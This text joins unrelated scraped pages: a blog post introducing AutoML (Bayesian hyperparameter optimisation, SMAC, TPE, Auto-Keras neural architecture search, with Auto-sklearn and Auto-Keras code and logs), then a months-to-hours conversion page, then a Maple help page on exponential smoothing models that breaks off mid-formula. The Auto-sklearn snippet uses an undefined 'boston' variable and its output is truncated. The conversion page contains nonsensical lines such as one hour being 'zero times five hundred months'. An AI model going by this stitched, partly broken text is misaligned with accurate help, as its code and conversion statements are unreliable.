"Disclaimer: This post is work in progress and will be updated periodically. This is not meant to a comprehensive overview of the topic, but more of an introduction to AutoML, some tools and techniques.\n\n## Overview\n\nFinding a model that works for a specific problem or a class of problems can be a time-consuming task. Usually, an engineer or a scientist determines what model class to use either based on his prior knowledge of the problem at hand or by evaluating several models and picking the best one. Each of these model classes would have 'hyperparameters' or parameters of the learning algorithm that has to be tuned; determining these can be tedious. The goal of Automated Machine Learning is to automate this process of model selection and finding the right combination of hyperparameters that not only gives you good performance but only generalizes well (holy grail!). Keep in mind that this does not eliminate the need for a trained engineer/scientist to guide the process and critically evaluate the results. The sections below explain of the concepts associated with this idea of Automated Machine Learning.\n\n## Hyperparameter optimization\n\nA number of methods exist out there for performing Hyperparameter optimization for Machine Learning algorithms. The goal is to find the combination of hyperparameters that give us the best results on the validation set, i.e. best accuracy or the least amount of error, referred to here as a score. They can roughly be categorized into the following:\n\n• Grid search\n• Random search\n• Genetic algorithm\n• Bayesian optimization\n\nWhile Grid search is one of the most popular methods, where you work through a grid of hyperparameter combinations to find an optimal combination, this is quite expensive. Random search can be slightly less expensive, instead of searching a grid space systematically you sample points at random. This has been shown to perform just as well as grid search or even better. Genetic algorithm-based search is used find optimal candidates, such an approach is used in the data science library TPOT. Bayesian optimization algorithms have become quite popular recently and two popular approaches are SMAC and TPE.\n\nBayesian algorithms (paper) have not been without their share of controversy with some suggesting that it is no better than random search. However, it has been shown that while Bayesian optimization algorithms suffer from slow starts on large datasets, while pretrained on smaller datasets and the problem size adaptively increased it tends to outperform pure random search (paper).\n\nBayesian algorithms can be roughly classified into three types based on the types of regression models used. They differ based on the ‘surrogate’ function, also sometimes called a response surface, we use to approximate the ML model. The response surface is built gradually from the evaluation history. This model has to be easier to optimize than the ML model and gives us an estimate of where the next hyperparameter configuration lies in the search process.\n\n• Gaussian Processes\n• Random Forests\n• Tree Parzen Estimators\n\n‘Acquisition functions’ are used to define a balance between exploring new areas in the hyperparameter space and exploiting the areas that have favorable solutions. Many forms have been proposed for these functions, one such popular criterion is the Expected Improvement (EI)\n\n$$EI(x) = \\int_{-\\infty}^{fbest} (f_{best} - f ) p(f|x) df$$\n\nwhere ‘x’ is the hyperparameter, for which we seek an optimal value, and ‘f’ is the objective function whose value indicates the algorithm performance. Note here that ‘f’ is a metric whose value is to be minimized, i.e. the lower the value the better the model. For e.g. ‘f’ could be the error here, whereas if one were to use accuracy as a metric we would that to be maximized. Here, p(f|x) is the probability of ‘f’ given ‘x’ evaluated using the probabilstic surrogate model. The goal is to pick ‘x’ that has the maximal EI. To summarize, they perform the following steps to optimize hyperparameters:\n\n• Select a number of points at random and run the ML model to initialize a probabilistic regression model (surrogate for the real ML model) (GP, Random Forests to approximate GPs etc).\n• Using the surrogate regression model generated and a suitable ‘acquisition function’, optimize this ‘acquisition function’ using the surrogate regression model that we generated to get a new point. This is way cheaper than running the real ML model.\n• Using the newly identified point, update the surrogate regression model and repeat the step above.\n• Usually runs for a fixed time, before the optimization is terminated and performance of hyperparameter optimization is evaluated.\n\nBayesian optimization works even if the cost function ‘f’ is non-convex.\n\n### Sequential Model-based Algorithm Configuration (SMAC)\n\nThis excellent paper covers this topic. I briefly summarize SMAC here. SMAC is based on making improvements to the Sequential model-based optimization (SMBO) algorithm which iterates between building a model and gathering additional data.\n\nThe SMBO algorithm uses Gaussian Processes (GP) to fit a response surface model. It uses the Expected Improvement (EI) criterion ‘which is high in regions of low predictive mean and high predictive variance’. The next point is selected that has the highest EI criterion. The time required to perform this consists of the time required to run the model and the time required to compute the EI. In practice, more than one potential configuration is selected in one iteration.\n\nSMAC expands this to work with multiple instances and introduces Random Forests (RF) and approximate GPs instead of a full GP surrogate to SMBO. For Random Forests (RF), the mean at each point is the prediction of the RF while the variance at each point is now the variance of the predictions of the separate trees in the RF. So while Random Forests are not, generally, considered probabilstic models, one can use the frequentist models to approximate a GP (Auto-Weka) from the estimated mean and variance. SMBO also could not handle categorical variables, SMAC resolves this by using a weighted Hamming distance function for the kernel function instead of the weighted squared distance (Euclidean). For a combined continuous/categorical attribute problem, a combined kernel is created using both the Euclidean and Hamming distances. The authors provide proof that this is indeed a valid distance kernel in the paper cited above. They also use a projected process approximation for a GP instead of a full GP to speed up this process.\n\n### Tree of Parzen Estimators (TPE)\n\nThe tree-structure in the name implies that the conditional dependencies of the hyperparameters are exploited, i.e. when there are certain values selected for some hyperparameters, the values that the remaining hyperparameters can take are constrained. This forms a tree-like structure of dependencies (slide ‘Tuning of feedforward neural networks’). They model p(configuration|score) instead of p(score|configuration) as we saw in SMAC/SMBO. They replace the Gaussian density with non-parametric densities from which the configurations can be drawn. We have two densities l(x) and g(x) that are created from configuration points that are below and above a threshold ‘f_threshold’ respectively. Instead of a GP surrogate, we have the densities to compute a score.\n\n$$p(x|f) = \\left[ \\begin{array}{ccc} l(x) , \\; f < f_{threshold} \\\\ g(x) , \\; f > f_{threshold} \\end{array} \\right]$$ As more configuration points are evaluated, the density is updated. Configuration points are selected based on the following EI $$EI(x) \\propto ( \\gamma + \\dfrac{g(x)}{l(x)}(1 - \\gamma) )^{-1}$$\n\nHere γ is an algorithm parameter, usually set to around 0.15. What the above means is what we would intuitively expect, the more likely a point is selected that maximizes the ratio of l(x)/g(x) or in other words points that have higher density in l(x) (density estimate beneath the threshold) and lower density in g(x) (density estimate above the threshold) the higher our EI for the hyperparameters configuration ‘x’.\n\nIf the surrogate function, i.e. the densities are correct or close, the points selected by maximizing the EI listed above should give us hyperparameter configurations that give us the best results on our true objective function or ML model. One downside though, Tree of Parzen Estimators have the limitation that they cannot optimize hyperparameters independently of each other. The article does a very good job of describing this in detail.\n\n## Neural Architecture Search\n\nA recent paper covering the developments in Neural Architecture Search (NAS) can be found here NAS survey. For a more extensive literature review visit the AutoML website at AutoML literature review.\n\n### Auto-Keras\n\nAs of this writing, this tool (Auto-Keras) is still fairly new and pre-release and is missing a lot of features. I have this here because it has the potential to be a very powerful open-source alternative to commercial cloud-based AutoML solutions. The advantage of Auto-Keras is that it uses ‘network morphism’ to reduce the training time instead of training a network from scratch at each iteration. It also points out that most NAS algorithms work towards increasing the size of the network without any ability to explore smaller architectures, Auto-Keras apparently overcomes this deficiency by retaining the ability to explore smaller architectures found earlier in the iterative process multiple times. This blog post provides a good overview of how to run the examples and some of the issues the author faced with this tool.\n\nThe fundamental challenge is unliked hyperparameter optimization, the Neural Architecture Search space is not a Euclidean space thereby rendering it difficult to be applied directly to a Gaussian Process. The authors propose an ‘edit-distance’ kernel to deal with this difficulty, the definition of edit-kernel being the number of operations required to change a network into another one. This is analogous to the number of operations required to morph a graph to resemble another one. If the edit-distance is defined as\n\n$$EditDistance = d(f_a,f_b)$$\n\nthen the kernel function can be written as\n\n$$K(f_a,f_b) = e^{- \\rho^2 (d(f_a,f_b))}$$\n\nwhere ρ is a mapping function to map the distance. Now the key here is to approximate the edit-distance using the following formula since computing it exactly is a computationally intractable problem.\n\n$$d(f_a,f_b) = D_l (L_a,L_b) + \\lambda D_s(S_a, S_b)$$\n\nwhere Dl is the minimum distance for morphing the architecture fa to fb if skip connections are ignored. Similarly, Ds is the approximate distance required to morph skip-connections from fa to fb. The details of how these are computed are not covered below, interested readers can refer to the paper linked above.\n\nNumerical optimization techniques such as gradient-based techniques do not work in a tree-structured space such as the architecture search space. Various algorithms like the Bayesian optimization algorithm TreeBO and evolutionary algorithm NASBOT have been proposed to solve this specific problem. The authors propose a new hybrid approach that uses the features of both the tree-structured search and simulated annealing.\n\n## Implementations\n\nExamples on how to perform hyperparameter optimization and neural architecture search are shown with Auto-sklearn (Auto-sklearn paper) and Auto-Keras respectively.\n\n### Auto-sklearn\n\nThe example below shows how to run hyperparameter optimization on the Boston housing dataset.\n\nfrom sklearn.datasets import load_boston\nfrom sklearn.model_selection import train_test_split, KFold\nfrom sklearn.model_selection import ShuffleSplit\nimport autosklearn.regression\n\nX_train, X_test, y_train, y_test = \\\nsklearn.model_selection.train_test_split(boston.data, boston.target, random_state=1)\n\nautoml = autosklearn.regression.AutoSklearnRegressor()\nautoml.fit(X_train, y_train)\ny_hat = automl.predict(X_test)\n# This gives you the results back in a dictionary\nresults_dict = automl.cv_results_\n# prints the statistics\nprint(automl.sprint_statistics())\n# print the models that were trained\nprint(automl.show_models())\n\n\n\nRunning the above produces the following output:\n\nauto-sklearn results:\nDataset name: fdd1924fd43daf1502d116d6da914420\nMetric: r2\nBest validation score: 0.880841\nNumber of target algorithm runs: 676\nNumber of successful target algorithm runs: 662\nNumber of crashed target algorithm runs: 8\nNumber of target algorithms that exceeded the memory limit: 6\nNumber of target algorithms that exceeded the time limit: 0\n\ndataset_properties={\n'sparse': False,\n'multilabel': False,\n'multiclass': False,\n'target_type': 'regression',\n'signed': False})),\n(0.220000, SimpleRegressionPipeline({'categorical_encoding:__choice__': 'no_encoding', 'imputation:strategy': 'mean', 'preprocessor:__choice__': 'polynomial', 'regressor:__choice__': 'ard_regression', 'rescaling:__choice__': 'minmax', 'preprocessor:polynomial:degree': 3, 'preprocessor:polynomial:include_bias': 'False', 'preprocessor:polynomial:interaction_only': 'True', 'regressor:ard_regression:alpha_1': 7.942024519019753e-05, 'regressor:ard_regression:alpha_2': 1.4691455454157323e-10, 'regressor:ard_regression:fit_intercept': 'True', 'regressor:ard_regression:lambda_1': 6.273455521456825e-10, 'regressor:ard_regression:lambda_2': 8.129782496225096e-08, 'regressor:ard_regression:n_iter': 300, 'regressor:ard_regression:threshold_lambda': 1630.9116363987964, 'regressor:ard_regression:tol': 0.0017370820165403767},\ndataset_properties={\n'sparse': False,\n'multilabel': False,\n'multiclass': False,\n'target_type': 'regression',\n'signed': False})),\n(0.140000, SimpleRegressionPipeline({'categorical_encoding:__choice__': 'one_hot_encoding', 'imputation:strategy': 'median', 'preprocessor:__choice__': 'polynomial', 'regressor:__choice__': 'sgd', 'rescaling:__choice__': 'minmax', 'categorical_encoding:one_hot_encoding:use_minimum_fraction': 'True', 'preprocessor:polynomial:degree': 3, 'preprocessor:polynomial:include_bias': 'False', 'preprocessor:polynomial:interaction_only': 'False', 'regressor:sgd:alpha': 0.0001359889935213488, 'regressor:sgd:average': 'False', 'regressor:sgd:eta0': 0.07052716024285549, 'regressor:sgd:fit_intercept': 'True', 'regressor:sgd:learning_rate': 'invscaling', 'regressor:sgd:loss': 'squared_loss', 'regressor:sgd:penalty': 'l1', 'regressor:sgd:tol': 0.0005734508309511284, 'categorical_encoding:one_hot_encoding:minimum_fraction': 0.010000000000000004, 'regressor:sgd:power_t': 0.25},\ndataset_properties={\n'sparse': False,\n'multilabel': False,\n'multiclass': False,\n'target_type': 'regression',\n'signed': False})),\ndataset_properties={\n'sparse': False,\n'multilabel': False,\n'multiclass': False,\n'target_type': 'regression',\n'signed': False})),\n(0.020000, SimpleRegressionPipeline({'categorical_encoding:__choice__': 'one_hot_encoding', 'imputation:strategy': 'mean', 'preprocessor:__choice__': 'random_trees_embedding', 'regressor:__choice__': 'ridge_regression', 'rescaling:__choice__': 'robust_scaler', 'categorical_encoding:one_hot_encoding:use_minimum_fraction': 'True', 'preprocessor:random_trees_embedding:bootstrap': 'True', 'preprocessor:random_trees_embedding:max_depth': 7, 'preprocessor:random_trees_embedding:max_leaf_nodes': 'None', 'preprocessor:random_trees_embedding:min_samples_leaf': 2, 'preprocessor:random_trees_embedding:min_samples_split': 7, 'preprocessor:random_trees_embedding:min_weight_fraction_leaf': 1.0, 'preprocessor:random_trees_embedding:n_estimators': 79, 'regressor:ridge_regression:alpha': 0.0010507086341767701, 'regressor:ridge_regression:fit_intercept': 'True', 'regressor:ridge_regression:tol': 0.09150923931712328, 'rescaling:robust_scaler:q_max': 0.9941949444067358, 'rescaling:robust_scaler:q_min': 0.25635232814287207, 'categorical_encoding:one_hot_encoding:minimum_fraction': 0.2945010490264204},\ndataset_properties={\n'sparse': False,\n'multilabel': False,\n'multiclass': False,\n'target_type': 'regression',\n'signed': False})),\n(0.020000, SimpleRegressionPipeline({'categorical_encoding:__choice__': 'one_hot_encoding', 'imputation:strategy': 'median', 'preprocessor:__choice__': 'polynomial', 'regressor:__choice__': 'sgd', 'rescaling:__choice__': 'minmax', 'categorical_encoding:one_hot_encoding:use_minimum_fraction': 'True', 'preprocessor:polynomial:degree': 3, 'preprocessor:polynomial:include_bias': 'True', 'preprocessor:polynomial:interaction_only': 'False', 'regressor:sgd:alpha': 5.274048148124689e-07, 'regressor:sgd:average': 'False', 'regressor:sgd:eta0': 0.06853316582334407, 'regressor:sgd:fit_intercept': 'True', 'regressor:sgd:learning_rate': 'invscaling', 'regressor:sgd:loss': 'squared_loss', 'regressor:sgd:penalty': 'elasticnet', 'regressor:sgd:tol': 0.0006412478800169259, 'categorical_encoding:one_hot_encoding:minimum_fraction': 0.00023940988165439893, 'regressor:sgd:l1_ratio': 0.14999999999999974, 'regressor:sgd:power_t': 0.25},\ndataset_properties={\n'sparse': False,\n'multilabel': False,\n'multiclass': False,\n'target_type': 'regression',\n'signed': False})),\ndataset_properties={\n'sparse': False,\n'multilabel': False,\n'multiclass': False,\n'target_type': 'regression',\n'signed': False})),\n]\n\n\n### Auto-Keras\n\nThis paper describes Auto-Keras goes about performing Neural Architecture Search (NAS) using Bayesian optimization. Keep in mind that this is different from finding an optimal combination of hyperparameters since now a network morphism is performed at each step, which makes the Bayesian optimization process more complex. The following snippet is from the Auto-Keras website and illustrates how easy it is set up a hyperparameter search using the framework. Depending on the problem size, this can take day or weeks to run depending on the size of the problem.\n\nfrom keras.datasets import mnist\nfrom autokeras.image_supervised import ImageClassifier\n\nif __name__ == '__main__':\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nx_train = x_train.reshape(x_train.shape + (1,))\nx_test = x_test.reshape(x_test.shape + (1,))\n\nclf = ImageClassifier(verbose=True)\nclf.fit(x_train, y_train, time_limit=12 * 60 * 60)\nclf.final_fit(x_train, y_train, x_test, y_test, retrain=True)\ny = clf.evaluate(x_test, y_test)\nprint(y)\n\n\nThe following result was obtained after 24 hours of training (default setting) and evaluation before it hit the specified time limit.\n\n/Users/srijithraj/anaconda3/envs/tensorflow_class/lib/python3.6/site-packages/tqdm/autonotebook/__init__.py:14: TqdmExperimentalWarning: Using tqdm.autonotebook.tqdm in notebook mode. Use tqdm.tqdm instead to force console mode (e.g. in jupyter console)\n\" (e.g. in jupyter console)\", TqdmExperimentalWarning)\n\nInitializing search.\nInitialization finished.\n\n+----------------------------------------------+\n| Training model 0 |\n+----------------------------------------------+\n\nSaving model.\n+--------------------------------------------------------------------------+\n| Model ID | Loss | Metric Value |\n+--------------------------------------------------------------------------+\n| 0 | 2.1007456893101333 | 0.98336 |\n+--------------------------------------------------------------------------+\n\n+----------------------------------------------+\n| Training model 1 |\n+----------------------------------------------+\n\n/Users/srijithraj/anaconda3/envs/tensorflow_class/lib/python3.6/site-packages/autokeras/bayesian.py:151: UserWarning: Predicted variances smaller than 0. Setting those variances to 0.\nwarnings.warn(\"Predicted variances smaller than 0. \"\n\n+--------------------------------------------------------------------------+\n| Father Model ID | Added Operation |\n+--------------------------------------------------------------------------+\n| 0 | ('to_add_skip_model', 1, 5) |\n+--------------------------------------------------------------------------+\n\nSaving model.\n+--------------------------------------------------------------------------+\n| Model ID | Loss | Metric Value |\n+--------------------------------------------------------------------------+\n| 1 | 2.355205422639847 | 0.98268 |\n+--------------------------------------------------------------------------+\n\n+----------------------------------------------+\n| Training model 2 |\n+----------------------------------------------+\n\n+--------------------------------------------------------------------------+\n| Father Model ID | Added Operation |\n+--------------------------------------------------------------------------+\n| 0 | ('to_conv_deeper_model', 9, 3) |\n+--------------------------------------------------------------------------+\n\nSaving model.\n+--------------------------------------------------------------------------+\n| Model ID | Loss | Metric Value |\n+--------------------------------------------------------------------------+\n| 2 | 1.8618361109867692 | 0.98668 |\n+--------------------------------------------------------------------------+\n\n+----------------------------------------------+\n| Training model 3 |\n+----------------------------------------------+\n\n+--------------------------------------------------------------------------+\n| Father Model ID | Added Operation |\n+--------------------------------------------------------------------------+\n| | ('to_add_skip_model', 1, 5) |\n| | ('to_conv_deeper_model', 5, 3) |\n| 2 | ('to_add_skip_model', 5, 23) |\n| | ('to_concat_skip_model', 1, 5) |\n| | ('to_concat_skip_model', 5, 23) |\n+--------------------------------------------------------------------------+\n\nSaving model.\n+--------------------------------------------------------------------------+\n| Model ID | Loss | Metric Value |\n+--------------------------------------------------------------------------+\n| 3 | 1.6021900983527302 | 0.98876 |\n+--------------------------------------------------------------------------+\n\n+----------------------------------------------+\n| Training model 4 |\n+----------------------------------------------+\n\n+--------------------------------------------------------------------------+\n| Father Model ID | Added Operation |\n+--------------------------------------------------------------------------+\n| | ('to_conv_deeper_model', 9, 3) |\n| | ('to_conv_deeper_model', 5, 3) |\n| | ('to_conv_deeper_model', 9, 3) |\n| 3 | ('to_concat_skip_model', 5, 24) |\n| | ('to_add_skip_model', 5, 9) |\n| | ('to_add_skip_model', 21, 24) |\n+--------------------------------------------------------------------------+\n\nSaving model.\n+--------------------------------------------------------------------------+\n| Model ID | Loss | Metric Value |\n+--------------------------------------------------------------------------+\n| 4 | 1.5797022448852658 | 0.98916 |\n+--------------------------------------------------------------------------+\n\nTime limit for model search is reached. Ending the model search."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.65556455,"math_prob":0.81664604,"size":25358,"snap":"2022-05-2022-21","text_gpt3_token_len":5832,"char_repetition_ratio":0.22540823,"word_repetition_ratio":0.09786608,"special_character_ratio":0.33291268,"punctuation_ratio":0.22857143,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99630374,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-26T23:19:40Z\",\"WARC-Record-ID\":\"<urn:uuid:e08162d8-5ff7-4cd4-aa57-a7de109236c5>\",\"Content-Length\":\"42746\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1a428f5a-c92f-40a3-9ba9-bea365dd22f0>\",\"WARC-Concurrent-To\":\"<urn:uuid:01c02090-241a-4c5a-a2a5-e44d64eb5f25>\",\"WARC-IP-Address\":\"35.185.44.232\",\"WARC-Target-URI\":\"https://srijithr.gitlab.io/post/automl/\",\"WARC-Payload-Digest\":\"sha1:KEWZSG544Y65XB3YTGBV22YANHLF555R\",\"WARC-Block-Digest\":\"sha1:WR6YY6Q7AF4PED72A3QWOYYXGRUANQ3N\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662627464.60_warc_CC-MAIN-20220526224902-20220527014902-00753.warc.gz\"}"} |
https://convertoctopus.com/500-months-to-hours | [
"## Conversion formula\n\nThe conversion factor from months to hours is 730.485, which means that 1 month is equal to 730.485 hours:\n\n1 mo = 730.485 hr\n\nTo convert 500 months into hours we have to multiply 500 by the conversion factor in order to get the time amount from months to hours. We can also form a simple proportion to calculate the result:\n\n1 mo → 730.485 hr\n\n500 mo → T(hr)\n\nSolve the above proportion to obtain the time T in hours:\n\nT(hr) = 500 mo × 730.485 hr\n\nT(hr) = 365242.5 hr\n\nThe final result is:\n\n500 mo → 365242.5 hr\n\nWe conclude that 500 months is equivalent to 365242.5 hours:\n\n500 months = 365242.5 hours",
null,
"## Alternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 hour is equal to 2.7379070069885E-6 × 500 months.\n\nAnother way is saying that 500 months is equal to 1 ÷ 2.7379070069885E-6 hours.\n\n## Approximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that five hundred months is approximately three hundred sixty-five thousand two hundred forty-two point five hours:\n\n500 mo ≅ 365242.5 hr\n\nAn alternative is also that one hour is approximately zero times five hundred months.\n\n## Conversion table\n\n### months to hours chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from months to hours\n\nmonths (mo) hours (hr)\n501 months 365972.985 hours\n502 months 366703.47 hours\n503 months 367433.955 hours\n504 months 368164.44 hours\n505 months 368894.925 hours\n506 months 369625.41 hours\n507 months 370355.895 hours\n508 months 371086.38 hours\n509 months 371816.865 hours\n510 months 372547.35 hours"
]
| [
null,
"https://convertoctopus.com/images/500-months-to-hours",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.82070524,"math_prob":0.9599214,"size":1675,"snap":"2020-24-2020-29","text_gpt3_token_len":443,"char_repetition_ratio":0.19090365,"word_repetition_ratio":0.0,"special_character_ratio":0.3635821,"punctuation_ratio":0.10682493,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.987258,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-08T01:57:28Z\",\"WARC-Record-ID\":\"<urn:uuid:e56d4a33-caf8-46d4-97f8-e4718b457faa>\",\"Content-Length\":\"29347\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:961f29a5-a1b5-4a75-8700-ff084186a44f>\",\"WARC-Concurrent-To\":\"<urn:uuid:fa95fdae-8f21-48c5-acc3-01f521534711>\",\"WARC-IP-Address\":\"172.67.208.237\",\"WARC-Target-URI\":\"https://convertoctopus.com/500-months-to-hours\",\"WARC-Payload-Digest\":\"sha1:AUTAW2L7ZZSTGOXRTFQPJ2HIB66TF65I\",\"WARC-Block-Digest\":\"sha1:GDBPXCMJPMVVG3X6FLBUEB3OVLDYW7BR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-29/CC-MAIN-2020-29_segments_1593655896169.35_warc_CC-MAIN-20200708000016-20200708030016-00367.warc.gz\"}"} |
https://fr.maplesoft.com/support/help/maplesim/view.aspx?path=TimeSeriesAnalysis%2FExponentialSmoothingModel | [
"",
null,
"Exponential Smoothing Model - Maple Help\n\nTimeSeriesAnalysis\n\n ExponentialSmoothingModel\n exponential smoothing model",
null,
"Calling Sequence ExponentialSmoothingModel(ts, E, T, S, opts)",
null,
"Parameters\n\n ts - (optional) Time series consisting of a single data set E - (optional) types of error allowed (name, string, or set of these) T - (optional) types of trend allowed (name, string, or set of these) S - (optional) types of seasonal influence allowed (name, string, or set of these) opts - (optional) equations of the form optionname = value to set other parameters",
null,
"Description\n\n • The ExponentialSmoothingModel command creates an exponential smoothing model or ETS model for a time series. These models are a generalization of the idea to use exponential smoothing of the previous data as a forecast. The model can get its parameters optimized automatically to fit a given time series, or the parameters can be set by hand.",
null,
"Model Variants\n\n • There are 30 variants of this model. They are distinguished by:\n – whether errors are additive or multiplicative;\n – whether there is a trend, and if there is one, if it is additive or multiplicative and whether it is damped or not;\n – whether there is seasonal influence, and if there is, whether it is additive or multiplicative.\n • By default, Maple creates a model that potentially represents any of the 30 variants. Maple can automatically select one that is appropriate for a time series, or you can restrict the selection manually.\n • Restricting the selection manually can be done with the E, T, and S parameters, or by using the named options errors, trend, and seasonal. If using E, T, and S, one needs to supply all three parameters; using the named options, one can use any subset. The values are given by the following table.\n\n Value (long) Value(short) errors / E trend / T seasonal / S none N - + + additive A + + + additivedamped Ad - + - multiplicative M + + + multiplicativedamped Md - + -\n\n • For example, the third row of this table says that only the trend or T parameter can be additive damped, not the errors or seasonal parameter. These values are supplied either in short or long form and can be either a string or a name. If a single value is desired, then one can use the corresponding string or name by itself; otherwise a set must be given. For example, you could specify errors = \"A\" to consider only models with additive error, or seasonal = {\"additive\", \"M\"} to consider models with additive or multiplicative seasonality (but not models without seasonal influence).\n • The option damping = false will exclude the models with damped trend from being considered.\n • Some of these models lead to numerical difficulties. These are not considered by default. For more details, see the Specialize help page.",
null,
"Typical Usage\n\n • If you supply a time series to the ExponentialSmoothingModel command, Maple will compute the most suitable model for that time series. If you do not supply a time series to ExponentialSmoothingModel, you can perform the steps involved by hand, otherwise they happen behind the scenes:\n – First, use the Specialize command. This command, and all of the following, do require a time series argument. It returns a list of models of all variants that are suitable for the time series and compatible with the given options.\n – Then, use the Initialize command. This command finds and records initial values for the optimization procedure run next.\n – The Optimize command subsequently optimizes the parameters and initial values -- starting from the values generated by the Initialize command.\n – Finally, to select which model is the most suitable, compare the LogLikelihood and the NumberOfParameters of each candidate. Standard ways to do this are to use one of the AICc, AIC, and BIC commands to compute the corresponding information criteria, and select the model where the value is lowest. If you supply a time series to the original ExponentialSmoothingModel command, the AICc command is used.\n • Once the model has been generated, either fully automatically or by hand, you can use the OneStepForecasts command to see if the fit is good enough for your purposes, and then Forecast to get a forecast of future values. Both of these can include confidence intervals (obtained through simulation).",
null,
"Model Equations\n\n • We present the equations for all variants of the model in innovation state space form.\n • The equations for the models can be given in terms of these variables:\n – The actual output at time $t$ is a variable ${y}_{t}$.\n – The level at time $t$ is denoted by ${\\mathrm{\\ell }}_{t}$.\n – Models with trend have a trend variable, ${b}_{t}$.\n – Models with seasonality have a seasonal variable, ${s}_{t}$.\n – There are errors ${\\mathrm{\\epsilon }}_{t}$.\n • The variables ${\\mathrm{\\ell }}_{0}$, ${b}_{0}$, and ${s}_{1-m}$ through ${s}_{0}$, if present, need to be initialized. The number $m$ is the period of the season. In addition there are parameters: $\\mathrm{\\alpha }$ is always present, $\\mathrm{\\beta }$ is present in models with trend, $\\mathrm{\\phi }$ is present in models with a damped trend, and $\\mathrm{\\gamma }$ is present in models with seasonality.\n • We define the equations defining the variables at time $t$. We start by introducing three auxiliary variables: ${\\mathrm{y1}}_{t}$, ${\\mathrm{y2}}_{t}$, and ${\\mathrm{y3}}_{t}$.\n – The variable ${\\mathrm{y1}}_{t}$ accounts for the trend. It is defined by:\n\n${\\mathrm{y1}}_{t}=\\left\\{\\begin{array}{cc}0& \\mathrm{trend}=\\mathrm{none}\\\\ {b}_{t-1}& \\mathrm{trend}=\\mathrm{additive}\\\\ \\mathrm{\\phi }{b}_{t-1}& \\mathrm{trend}=\\mathrm{additivedamped}\\\\ {b}_{t-1}& \\mathrm{trend}=\\mathrm{multiplicative}\\\\ {b}_{t-1}^{\\mathrm{\\phi }}& \\mathrm{trend}=\\mathrm{multiplicativedamped}\\end{array}$\n\n – The variable ${\\mathrm{y2}}_{t}$ accounts for the previous level and, if applicable, the trend. It is defined by:\n\n${\\mathrm{y2}}_{t}=\\left\\{\\begin{array}{cc}{\\mathrm{\\ell }}_{t-1}& \\mathrm{trend}=\\mathrm{none}\\\\ {\\mathrm{\\ell }}_{t-1}+{\\mathrm{y1}}_{t}& \\mathrm{trend}=\\mathrm{additive}\\\\ {\\mathrm{\\ell }}_{t-1}+{\\mathrm{y1}}_{t}& \\mathrm{trend}=\\mathrm{additivedamped}\\\\ {\\mathrm{\\ell }}_{t-1}{\\mathrm{y1}}_{t}& \\mathrm{trend}=\\mathrm{multiplicative}\\\\ {\\mathrm{\\ell }}_{t-1}{\\mathrm{y1}}_{t}& \\mathrm{trend}=\\mathrm{multiplicativedamped}\\end{array}$\n\n – The variable ${\\mathrm{y3}}_{t}$ is like ${\\mathrm{y2}}_{t}$, except it also accounts for seasonal effects. (This is essentially the forecast for the output at $t$.) It is defined by:\n\n${\\mathrm{y3}}_{t}=\\left\\{\\begin{array}{cc}{\\mathrm{y2}}_{t}& \\mathrm{seasonal}=\\mathrm{none}\\\\ {\\mathrm{y2}}_{t}+{s}_{t-m}& \\mathrm{seasonal}=\\mathrm{additive}\\\\ {\\mathrm{y2}}_{t}{s}_{t-m}& \\mathrm{seasonal}=\\mathrm{multiplicative}\\end{array}$\n\n – Now ${y}_{t}$ can be defined as follows:\n\n${y}_{t}=\\left\\{\\begin{array}{cc}{\\mathrm{y3}}_{t}+{\\mathrm{ϵ}}_{t}& \\mathrm{errors}=\\mathrm{additive}\\\\ {\\mathrm{y3}}_{t}\\left(1+{\\mathrm{ϵ}}_{t}\\right)& \\mathrm{errors}=\\mathrm{multiplicative}\\end{array}$\n\n – The level ${\\mathrm{\\ell }}_{t}$ can be computed in the following manner:\n\n${\\mathrm{\\ell }}_{t}=\\left\\{\\begin{array}{cc}\\left\\{\\begin{array}{cc}{\\mathrm{y2}}_{t}+\\frac{\\mathrm{\\alpha }{\\mathrm{ϵ}}_{t}}{{s}_{t-m}}& \\mathrm{seasonal}=\\mathrm{multiplicative}\\\\ \\mathrm{\\alpha }{\\mathrm{ϵ}}_{t}+{\\mathrm{y2}}_{t}& \\mathrm{otherwise}\\end{array}& \\mathrm{errors}=\\mathrm{additive}\\\\ \\left\\{\\begin{array}{cc}{\\mathrm{y2}}_{t}+\\mathrm{\\alpha }\\left({\\mathrm{y2}}_{t}+{s}_{t-m}\\right){\\mathrm{ϵ}}_{t}& \\mathrm{seasonal}=\\mathrm{additive}\\\\ {\\mathrm{y2}}_{t}\\left(\\mathrm{\\alpha }{\\mathrm{ϵ}}_{t}+1\\right)& \\mathrm{otherwise}\\end{array}& \\mathrm{errors}=\\mathrm{multiplicative}\\end{array}$\n\n – For models with trend, we define ${b}_{t}$ as follows.\n\n${b}_{t}=\\left\\{\\begin{array}{cc}{\\mathrm{y1}}_{t}+\\frac{\\mathrm{\\beta }{\\mathrm{ϵ}}_{t}}{\\left(\\left\\{\\begin{array}{cc}{s}_{t-m}& \\mathrm{seasonal}=\\mathrm{multiplicative}\\\\ 1& \\mathrm{otherwise}\\end{array}\\right)\\left(\\left\\{\\begin{array}{cc}{\\mathrm{\\ell }}_{t-1}& \\mathrm{trend}\\in \\left\\{\\mathrm{multiplicative},\\mathrm{multiplicativedamped}\\right\\}\\\\ 1& \\mathrm{otherwise}\\end{array}\\right)}& \\mathrm{errors}=\\mathrm{additive}\\\\ \\left\\{\\begin{array}{cc}{\\mathrm{y1}}_{t}+\\mathrm{\\beta 